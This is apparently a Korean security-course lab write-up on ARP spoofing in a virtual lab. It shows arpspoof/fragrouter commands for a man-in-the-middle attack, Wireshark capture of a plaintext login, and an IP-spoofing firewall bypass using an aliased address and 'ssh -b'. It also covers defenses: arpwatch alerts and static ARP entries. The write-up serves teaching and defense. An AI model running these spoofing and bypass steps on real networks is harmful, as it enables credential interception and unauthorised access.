<p>*<em>실습&gt; ARP Redirect *</em></p>
</blockquote>
<pre><code>[Host] ----- [Attacker] ----- [Gateway]

Victim1(WinXP)  : 200.200.200.4 00:0c:29:0e:30:1e
Attacker(Kali)  : 200.200.200.3 00:0c:29:28:37:34
Gateway(Vmware) : 200.200.200.2 00:50:56:fa:09:53

            Attacker -&gt; Victim1 로 공격                   Attacker -&gt; Gateway 로 공격
                                                   B
[Victim1(WinXP)] &lt;-- ARP Reply(200.200.200.2)  [Attacker]  ARP Reply(200.200.200.4)  --&gt; [Gateway]
 200.200.200.4  ----------------------------------MITM-----------------------------------&gt;  200.200.200.2
      A         &lt;---------------------------------MITM------------------------------------       C  

1. ARP Redirect 공격
ARP Spoofing 공격이 발생하지 않은 상태의 MAC주소를 확인한다.
[root@kali ~]# ping -c 4 200.200.200.2
[root@kali ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     eth0
200.200.200.6            ether   00:0c:29:3d:bf:69   C                     eth0
200.200.200.1            ether   00:50:56:c0:00:08   C                     eth0
200.200.200.2            ether   00:50:56:fa:09:53   C                     eth0  &lt;-- Gateway

[Victim1]----------[Gateway]  


C:\&gt;ping 200.200.200.2
C:\&gt;ping 200.200.200.3

C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     dynamic
  200.200.200.2         00-50-56-fa-09-53     dynamic  &lt;-- Gateway
  200.200.200.3         00-0c-29-28-37-34     dynamic
  200.200.200.6         00-0c-29-3d-bf-69     dynamic


[Victim1]----------[Attacker]----------[Gateway]  
[root@kali ~]# arpspoof2.py 2 4 
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.2 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.4 200.200.200.2 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1

Victim1에서 MAC주소를 확인한다.
C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     dynamic
  200.200.200.2         00-0c-29-28-37-34     dynamic  &lt;-- 변조된 MAC주소
  200.200.200.3         00-0c-29-28-37-34     dynamic

C:\&gt;ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=1491ms TTL=128
Reply from 8.8.8.8: bytes=32 time=2112ms TTL=128
Reply from 8.8.8.8: bytes=32 time=2110ms TTL=128
Reply from 8.8.8.8: bytes=32 time=2112ms TTL=128

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 1491ms, Maximum = 2112ms, Average = 1956ms

2. 와이어 샤크 실행
공격자가 와이어 샤크로 패킷을 덤프받으면서 지나가는 데이터를 스니핑한다.
$ wireshark &amp;
eth0 을 덤프를 받는다.

3. 웹 페이지 접속
Win XP에서 아래 IP주소로 접속한다.
http://45.120.69.175/test/

userid: test
userpw: test

4. 패킷 분석
덤프 받은 패킷을 중지하고 와이어샤크에서 필터 부분에 tcp.dstport == 80 으로 수정한다.

POST /test/loginok.html 부분을 찾아서 Follow &gt; TCP Stream 으로 패킷을 분석한다.

POST /test/loginok.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://45.120.69.175/test/
Accept-Language: ko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 45.120.69.175
Content-Length: 23
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=dptm3p429kq6iar361ii97l5cc

userid=test&amp;userpw=testHTTP/1.1 200 OK
Date: Mon, 13 Mar 2023 05:46:20 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 134
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

 &lt;script language=JavaScript&gt;
          &lt;!--
              location.href = &#39;index.html&#39;;
          //--&gt;
          &lt;/script&gt;

GET /test/index.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: ko
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 45.120.69.175
Connection: Keep-Alive
Cookie: PHPSESSID=dptm3p429kq6iar361ii97l5cc

HTTP/1.1 200 OK
Date: Mon, 13 Mar 2023 05:46:22 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 124
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


&lt;html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;head&gt;
  &lt;title&gt; ::: Login ::: &lt;/title&gt;
&lt;/head&gt;

   ......... ... ................

&lt;/html&gt;
</code></pre><p><img src="https://velog.velcdn.com/images/security_code/post/f8211782-5aa3-4a1e-8c56-c10aa3cdda95/image.png" alt=""></p>
<blockquote>
<p><strong>실습&gt; arp spoofing 탐지 툴 설치</strong></p>
</blockquote>
<pre><code>로컬에서 arp spoofing을 탐지하기 위해서는 리눅스에서 arpwatch 유틸리티를 설치한다.

1. arpwatch 설치
-i ens33: 인터페이스 옵션
[root@victim3 ~]# vi /etc/resolv.conf
nameserver 168.126.63.1

[root@victim3 ~]# yum -y install arpwatch mailx
[root@victim3 ~]# rpm -ql arpwatch
/etc/sysconfig/arpwatch   &lt;-- 환경설정 파일
/usr/lib/systemd/system/arpwatch.service  &lt;-- 서비스 
/usr/sbin/arp2ethers
/usr/sbin/arpsnmp
/usr/sbin/arpwatch   &lt;-- 실행 파일
/usr/sbin/massagevendor
/usr/share/doc/arpwatch-2.1a15
/usr/share/doc/arpwatch-2.1a15/CHANGES
/usr/share/doc/arpwatch-2.1a15/README
/usr/share/doc/arpwatch-2.1a15/arpfetch
/usr/share/man/man8/arp2ethers.8.gz
/usr/share/man/man8/arpsnmp.8.gz
/usr/share/man/man8/arpwatch.8.gz   &lt;-- man 파일
/usr/share/man/man8/massagevendor.8.gz
/var/lib/arpwatch
/var/lib/arpwatch/arp.dat   &lt;--  IP/MAC 주소 저장 DB 파일(text 형식)
/var/lib/arpwatch/arp.dat-  &lt;--  IP/MAC 주소 저장 DB 파일(text 형식)이전 파일
/var/lib/arpwatch/arp.dat.new
/var/lib/arpwatch/ethercodes.dat  &lt;-- OUI(NIC 카드의 상위 24bit(제조사)가 담겨있는 파일)

설정파일에 인터페이스만 추가한다.
[root@victim3 ~]# vi /etc/sysconfig/arpwatch 
OPTIONS=&quot;-u arpwatch -i ens33 -e root -s &#39;root (Arpwatch)&#39;&quot; 

arpwatch를 활성화 시키고 시작한다.
[root@victim3 ~]# systemctl --now enable arpwatch
[root@victim3 ~]# ps aux |grep arpwatch
arpwatch   1545  0.1  0.4  46524  4272 ?        S    15:44   0:00 /usr/sbin/arpwatch -u arpwatch -i ens33 -e root -s root (Arpwatch)
root       1565  0.0  0.1 116972  1024 pts/1    R+   15:44   0:00 grep --color=auto arpwatch

2. 파일 초기화
mail이 저장된 mail spool 파일을 초기화 한다.
[root@victim3 ~]# &gt; /var/spool/mail/root 
[root@victim3 ~]# mail
No mail for root

arp 정보가 저장된 파일을 초기화 한다.
[root@victim3 ~]# &gt; /var/lib/arpwatch/arp.dat
[root@victim3 ~]# &gt; /var/lib/arpwatch/arp.dat-

arpwatch를 재시작한다.
[root@victim3 ~]# systemctl restart arpwatch

3. arp spoofing 공격 시도
arp redirect 공격을 한다.
[root@kali ~]# arpspoof2.py 2 4
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.2 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.4 200.200.200.2 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1

4. arpwatch 파일 확인
잘 인식이 안되면 arpwatch를 재시작한다.
[root@victim3 ~]# systemctl restart arpwatch
[root@victim3 ~]# ll /var/lib/arpwatch/arp.dat
-rw-r--r--. 1 arpwatch arpwatch 282  3월 13 15:45 /var/lib/arpwatch/arp.dat

5. 메일 확인
postfix 메일서버를 재시작한다.
[root@victim3 ~]# systemctl restart postfix
[root@victim3 ~]# mail
Heirloom Mail version 12.5 7/5/10.  Type ? for help.
&quot;/var/spool/mail/root&quot;: 4 messages 4 new
&gt;N  1 Arpwatch              Mon Mar 13 15:47  22/882   &quot;flip flop (gateway)&quot;
 N  2 Arpwatch              Mon Mar 13 15:47  22/882   &quot;flip flop (gateway)&quot;
 N  3 Arpwatch              Mon Mar 13 15:47  22/882   &quot;flip flop (gateway)&quot;
 N  4 Arpwatch              Mon Mar 13 15:47  22/882   &quot;flip flop (gateway)&quot;

&amp; 1
Message  1:
From arpwatch@victim3.linuxmaster.net  Mon Mar 13 15:47:15 2023
Return-Path: &lt;arpwatch@victim3.linuxmaster.net&gt;
X-Original-To: root
Delivered-To: root@victim3.linuxmaster.net
From: root@victim3.linuxmaster.net (Arpwatch)
To: root@victim3.linuxmaster.net
Subject: flip flop (gateway)
Date: Mon, 13 Mar 2023 15:47:15 +0900 (KST)
Status: R

            hostname: gateway
          ip address: 200.200.200.2
    ethernet address: 00:50:56:fa:09:53
     ethernet vendor: VMware, Inc.
old ethernet address: 00:0c:29:28:37:34
 old ethernet vendor: VMware, Inc.
           timestamp: Monday, March 13, 2023 15:47:14 +0900
  previous timestamp: Monday, March 13, 2023 15:47:12 +0900
               delta: 2 seconds

시간이 흐른 다음에 mail로 확인해보면 아래처럼 계속 MAC주소가 &quot;flip flop (victim3.linuxmaster.net)&quot; 제목으로 
메일로 온 것을 확인할 수 있다. 이는 계속 공격이 일어나고 있다는걸 의미한다.
&amp; q
Held 6 messages in /var/spool/mail/root
You have mail in /var/spool/mail/root
[root@victim3 ~]# mail
Heirloom Mail version 12.5 7/5/10.  Type ? for help.
&quot;/var/spool/mail/root&quot;: 6 messages 5 unread
    1 Arpwatch              Mon Mar 13 15:47  23/893   &quot;flip flop (gateway)&quot;
&gt;U  2 Arpwatch              Mon Mar 13 15:47  23/892   &quot;flip flop (gateway)&quot;
 U  3 Arpwatch              Mon Mar 13 15:47  23/892   &quot;flip flop (gateway)&quot;
 U  4 Arpwatch              Mon Mar 13 15:47  23/892   &quot;flip flop (gateway)&quot;
 U  5 Arpwatch              Mon Mar 13 15:48  23/892   &quot;flip flop (gateway)&quot;
 U  6 Arpwatch              Mon Mar 13 15:48  23/892   &quot;flip flop (gateway)&quot;

&amp; q
New mail has arrived.
Held 6 messages in /var/spool/mail/root
You have mail in /var/spool/mail/root
[root@victim3 ~]# mail
Heirloom Mail version 12.5 7/5/10.  Type ? for help.
&quot;/var/spool/mail/root&quot;: 11 messages 5 new 9 unread
    1 Arpwatch              Mon Mar 13 15:47  23/893   &quot;flip flop (gateway)&quot;
    2 Arpwatch              Mon Mar 13 15:47  23/893   &quot;flip flop (gateway)&quot;
 U  3 Arpwatch              Mon Mar 13 15:47  23/892   &quot;flip flop (gateway)&quot;
 U  4 Arpwatch              Mon Mar 13 15:47  23/892   &quot;flip flop (gateway)&quot;
 U  5 Arpwatch              Mon Mar 13 15:48  23/892   &quot;flip flop (gateway)&quot;
 U  6 Arpwatch              Mon Mar 13 15:48  23/892   &quot;flip flop (gateway)&quot;
&gt;N  7 Arpwatch              Mon Mar 13 15:49  22/889   &quot;changed ethernet address&quot;
 N  8 Arpwatch              Mon Mar 13 15:49  22/874   &quot;flip flop&quot;
 N  9 Arpwatch              Mon Mar 13 15:49  18/711   &quot;new station&quot;
 N 10 Arpwatch              Mon Mar 13 15:50  22/882   &quot;flip flop (gateway)&quot;
 N 11 Arpwatch              Mon Mar 13 15:50  22/882   &quot;flip flop (gateway)&quot;
&amp; 7
Message  7:
From arpwatch@victim3.linuxmaster.net  Mon Mar 13 15:49:57 2023
Return-Path: &lt;arpwatch@victim3.linuxmaster.net&gt;
X-Original-To: root
Delivered-To: root@victim3.linuxmaster.net
From: root@victim3.linuxmaster.net (Arpwatch)
To: root@victim3.linuxmaster.net
Subject: changed ethernet address
Date: Mon, 13 Mar 2023 15:49:57 +0900 (KST)
Status: R

            hostname: &lt;unknown&gt;
          ip address: 200.200.200.4
    ethernet address: 00:0c:29:0e:30:1e
     ethernet vendor: VMware, Inc.
old ethernet address: 00:0c:29:28:37:34
 old ethernet vendor: VMware, Inc.
           timestamp: Monday, March 13, 2023 15:49:56 +0900
  previous timestamp: Monday, March 13, 2023 15:49:54 +0900
               delta: 2 seconds

New mail has arrived.
Loaded 2 new messages
 N 12 Arpwatch              Mon Mar 13 15:51  22/882   &quot;flip flop (gateway)&quot;
 N 13 Arpwatch              Mon Mar 13 15:51  22/882   &quot;flip flop (gateway)&quot;
&amp; 8
Message  8:
From arpwatch@victim3.linuxmaster.net  Mon Mar 13 15:49:57 2023
Return-Path: &lt;arpwatch@victim3.linuxmaster.net&gt;
X-Original-To: root
Delivered-To: root@victim3.linuxmaster.net
From: root@victim3.linuxmaster.net (Arpwatch)
To: root@victim3.linuxmaster.net
Subject: flip flop
Date: Mon, 13 Mar 2023 15:49:57 +0900 (KST)
Status: R

            hostname: &lt;unknown&gt;
          ip address: 200.200.200.4
    ethernet address: 00:0c:29:28:37:34
     ethernet vendor: VMware, Inc.
old ethernet address: 00:0c:29:0e:30:1e
 old ethernet vendor: VMware, Inc.
           timestamp: Monday, March 13, 2023 15:49:56 +0900
  previous timestamp: Monday, March 13, 2023 15:49:56 +0900
               delta: 0 seconds

&amp; q
Held 13 messages in /var/spool/mail/root
You have mail in /var/spool/mail/root

테스트가 끝났다면 arpwatch 를 종료한다.
[root@victim3 ~]# systemctl stop arpwatch
[root@victim3 ~]# systemctl disable arpwatch
</code></pre><blockquote>
<p><strong>실습&gt; xarp 설치하기</strong></p>
</blockquote>
<pre><code>윈도우용 arp spoofing 공격 탐지 툴
개인 개발자가 개발했지만 지금은 닫혔다.

Wz실습&gt; ARP 정적 변경하기

리눅스 : arp -s IP주소 MAC주소
윈도우 XP : arp -s IP주소 MAC주소 
Windows 7 부터는 arp -s -&gt; 다른 명령어로 변경되었다.

1. MAC 주소 확인
arp spoofing 공격을 모두 중지한다.
ARP Spoofing 공격이 발생하지 않은 상태의 MAC주소를 확인한다.

MAC 주소가 동적일 경우
[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33  &lt;-- Gateway
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33


[root@kali ~]# arpspoof2.py 2 6
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.2 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.2 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1

공격자에 의해서 공격을 하면 Gateway의 MAC주소가 변조된다. 
[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33
200.200.200.2            ether   00:0c:29:28:37:34   C                     ens33  &lt;-- 변조된 맥주소
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

MAC주소 변조를 확인했다면 Ctrl + C를 눌러서 공격을 중지한다.
[root@kali ~]# arpspoof2.py 2 6
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.2 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.2 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1
^Cpkill -9 arpspoof
&gt;&gt;&gt; arpspoof 공격 중지!!! &lt;&lt;&lt;

2. MAC 주소 정적 설정
arp 정적 등록 형식: arp -s &lt;IP주소&gt; &lt;MAC주소&gt;
[root@victim3 ~]# arp -s 200.200.200.2 00:50:56:fa:09:53
[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33
200.200.200.2            ether   00:50:56:fa:09:53   CM                    ens33  &lt;-- 정적으로 고정 (CM 으로 표시된다.)
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

공격자에 의해서 공격을 하면 정적으로 Gateway의 MAC주소를 고정시켰기 때문에 변조가 안된다. 
[root@kali ~]# arpspoof2.py 2 6
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.2 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.2 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1

[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.4            ether   00:0c:29:0e:30:1e   C                     ens33
200.200.200.2            ether   00:50:56:fa:09:53   CM                    ens33  &lt;-- 변조되지 않은 원래의 맥주소
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

[root@victim3 ~]# reboot
[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.2            ether   00:0c:29:28:37:34   C                     ens33  &lt;-- 임시적 설정이므로 변조되었다.
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

위 설정은 재부팅하면 다시 없어지므로 공격 당할 수 있다.
그러므로 CentOS에서는 /etc/rc.d/rc.local(부팅 후에 마지막에 실행되는 스크립트 파일) 파일에 
정적으로 등록하는 명령어를 아래와 같이 넣어준다.

[root@victim3 ~]# vi /etc/rc.d/rc.local 
#!/bin/bash

touch /var/lock/subsys/local
# 정적 ARP 추가
arp -s 200.200.200.2 00:50:56:fa:09:53

[root@victim3 ~]# chmod +x  /etc/rc.d/rc.local 
[root@victim3 ~]# ll /etc/rc.d/rc.local 
-rwxr-xr-x. 1 root root 532  3월 13 16:31 /etc/rc.d/rc.local

[root@victim3 ~]# reboot

공격자는 계속 ARP Redirect 공격을 시도하고 있어야 한다.
재부팅 후 로그인해서 다시 확인하면 Gateway의 MAC주소는 변조되지 않았다.
이유는 정적으로 설정했기 때문이다.

Last login: Mon Mar 13 16:29:28 2023 from 200.200.200.1
[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.2            ether   00:50:56:fa:09:53   CM                    ens33  &lt;-- 변조되지 않았음.
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33

테스트가 완료되었으면 정적 ARP를 동적 ARP로 변경한다.
[root@victim3 ~]# arp -d 200.200.200.2
[root@victim3 ~]# ping -c 3 8.8.8.8
[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.2            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33


실습&gt; IP SPoofing 기법을 이용한 방화벽 우회하기

ARP Spoofing : 내부망(LAN)에서 사용되는 공격

Victim1(WinXP)  : 200.200.200.4 00:0c:29:0e:30:1e
Attacker(Kali)  : 200.200.200.3 00:0c:29:28:37:34
Victim3(CentOS7): 200.200.200.6 00:0c:29:3d:bf:69

네트워크 패킷 흐름도  

[Victim1(WinXP)] &lt;--------- O -------&gt; [Firewall] [Victim3(CentOS7)]
                                       &gt;&gt;&gt; 방화벽 정책 &lt;&lt;&lt;
                                       - 이미 연결된 패킷은 ACCEPT
[Attacker]  ------------ X ----------&gt; - WEB: ALL ACCEPT
                                       - SSH: 200.200.200.1 ACCEPT
                                       - SSH: 200.200.200.4 ACCEPT
                                       - 나머지 ALL DROP

1. 방화벽 설정
Victim3 CentOS7 에서 방화벽을 등록한다.
[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# systemctl disable firewalld
[root@victim3 ~]# vi /etc/resolv.conf
nameserver 168.126.63.1

[root@victim3 ~]# yum -y install iptables-services
[root@victim3 ~]# systemctl enable iptables
filter 테이블의 INPUT 체인에 설정한다.
state 모듈의 INVALID 패킷은 DROP
state 모듈의 ESTABLISHED,RELATED 패킷은 ACCEPT
state 모듈의 TCP NEW 패킷 중에서 80,443 포트는 모든 IP에서 접근할 수 있도록 ACCEPT
state 모듈의 TCP NEW 패킷 중에서 22 포트는 200.200.200.1, 200.200.200.4 에서만 접근할 수 있도록 ACCEPT
나머지 모든 패킷은 DROP
설정된 방화벽 룰을 저장한다.

방화벽 룰을 설정하는 스크립트를 생성한다.
[root@victim3 ~]# cd
[root@victim3 ~]# install /dev/null rules.sh
[root@victim3 ~]# vi rules.sh 
#!/bin/sh

# 방화벽 룰을 모두 중지한다.
iptables -F

#filter 테이블의 INPUT 체인에 설정한다.
#state 모듈의 INVALID 패킷은 DROP
iptables -A INPUT -m state --state INVALID -j DROP

#state 모듈의 ESTABLISHED,RELATED 패킷은 ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

#state 모듈의 TCP NEW 패킷 중에서 80,443 포트는 모든 IP에서 접근할 수 있도록 ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 443 -j ACCEPT

#state 모듈의 TCP NEW 패킷 중에서 22 포트는 200.200.200.1, 200.200.200.4 에서만 접근할 수 있도록 ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 22 -s 200.200.200.1 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 22 -s 200.200.200.4 -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT

#나머지 모든 패킷은 DROP
iptables -A INPUT -j DROP

#설정된 방화벽 룰을 저장한다.
iptables-save &gt; /etc/sysconfig/iptables


[root@victim3 ~]# ./rules.sh
[root@victim3 ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:80
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:443
ACCEPT     tcp  --  200.200.200.1        0.0.0.0/0            state NEW tcp dpt:22
ACCEPT     tcp  --  200.200.200.4        0.0.0.0/0            state NEW tcp dpt:22
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
DROP       all  --  0.0.0.0/0            0.0.0.0/0           

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination   

2. SSH 접속

공격자가 200.200.200.6 서버로 SSH 접속을 하면 방화벽에 의해서 접속이 거부된다.
[root@kali ~]# ssh 200.200.200.6
  &lt;-- 접속이 안된다.

ssh: connect to host 200.200.200.6 port 22: Connection timed out

Host OS(200.200.200.1)에서 200.200.200.6 서버로 SSH 접속을 하면 방화벽에 의해서 접속이 허용된다.
C:\Users\user&gt;del C:\Users\user\.ssh\config
C:\Users\user&gt;ssh root@200.200.200.6
root@200.200.200.6&#39;s password:
Last login: Mon Mar 13 16:33:09 2023 from 200.200.200.1
[root@victim3 ~]#

Windows XP OS(200.200.200.4)에서 200.200.200.6 서버로 SSH 접속을 하면 방화벽에 의해서 접속이 허용된다.
Windows XP에서 32bit putty.exe 버전을 다운로드 받아서 접속한다.
32bit putty: https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe


3. 공격 시도
&gt;&gt;&gt; ARP Spoofing, IP주소 설정(200.200.200.4) &lt;&lt;&lt;
공격자(200.200.200.3)에서 200.200.200.6 서버로 SSH 접속을 하면 방화벽에 의해서 접속이 허용된다.

&gt;&gt;&gt; 문제 해결 &lt;&lt;&lt;
네트워크 패킷 흐름도  


ARP Spoofing 전                                    
[Victim1(WinXP)] &lt;--------- O -------&gt; [Firewall] [Victim3(CentOS7)]  200.200.200.6
200.200.200.4                          방화벽 정책
                                       이미 연결된 패킷은 ACCEPT
[Attacker]  ------------ X ----------&gt; WEB: ALL ACCEPT
200.200.200.3                          SSH: 200.200.200.1 ACCEPT
                                       SSH: 200.200.200.4 ACCEPT
                                       나머지 ALL DROP

ARP Spoofing 후
                         MITM(Man In The Middle Attack)
[Victim1(WinXP)] &lt;----[Attacker]--O--&gt; [Firewall] [Victim3(CentOS7)]  200.200.200.6
200.200.200.4         200.200.200.3    방화벽 정책
                                       이미 연결된 패킷은 ACCEPT
                                       WEB: ALL ACCEPT
                                       SSH: 200.200.200.1 ACCEPT
                                       SSH: 200.200.200.4 ACCEPT
                                       나머지 ALL DROP


공격자가 방화벽을 우회해서 victim3에 접속하는 것이다.
- arp spoofing 공격을 해서 MITM 형태가 되어야 하고 victim3에 자신이 victim1이라고 속여야 한다.
- 가상의 IP 주소 eth0:1 을 200.200.200.4번으로 설정한다.
- ssh 접속을 할 때 가상의 IP주소로 접속할 수 있는 옵션으로 접속한다.

ARP Spoofing 공격을 시도한다.
[root@kali ~]# arpspoof2.py 4 6 
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.4 200.200.200.6 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.6 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1


가상 IP주소를 설정한다.
eth0에 설정하면 IP충돌이 일어나므로 eth0:1 인터페이스에 가상 IP주소를 설정한다.
[root@kali ~]# ifconfig eth0:1 200.200.200.4
[root@kali ~]# ifconfig
eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 200.200.200.3  netmask 255.255.255.0  broadcast 200.200.200.255
        inet6 fe80::290a:b024:cc09:d56d  prefixlen 64  scopeid 0x20&lt;link&gt;
        ether 00:0c:29:dc:0b:b6  txqueuelen 1000  (Ethernet)
        RX packets 529623  bytes 32498918 (30.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 77494044  bytes 4668876331 (4.3 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0:1: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500
        inet 200.200.200.4  netmask 255.255.255.0  broadcast 200.200.200.255
        ether 00:0c:29:dc:0b:b6  txqueuelen 1000  (Ethernet)

lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 24  bytes 1240 (1.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24  bytes 1240 (1.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

ssh 접속을 할 때 가상의 IP주소로 접속할 수 있는 옵션으로 접속한다.
[root@kali ~]# ssh -b 200.200.200.4 200.200.200.6
root@200.200.200.6&#39;s password: 
Last login: Mon Mar 13 17:02:28 2023 from 200.200.200.4

[root@victim3 ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:3d:bf:69 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.6/24 brd 200.200.200.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::7319:5898:3b71:d9bd/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

[root@victim3 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
200.200.200.2            ether   00:50:56:fa:09:53   C                     ens33
200.200.200.3            ether   00:0c:29:28:37:34   C                     ens33
200.200.200.1            ether   00:50:56:c0:00:08   C                     ens33
200.200.200.4            ether   00:0c:29:28:37:34   C                     ens33  &lt;-- 변조된 MAC 주소

[root@victim3 ~]# exit
logout
Connection to 200.200.200.6 closed.
</code></pre><pre><code>💥💥💥💥💥💥💥
&gt;&gt;&gt; 대응방안 &lt;&lt;&lt;
- 중요 IP주소에 대해서 MAC 주소를 고정으로 설정한다.
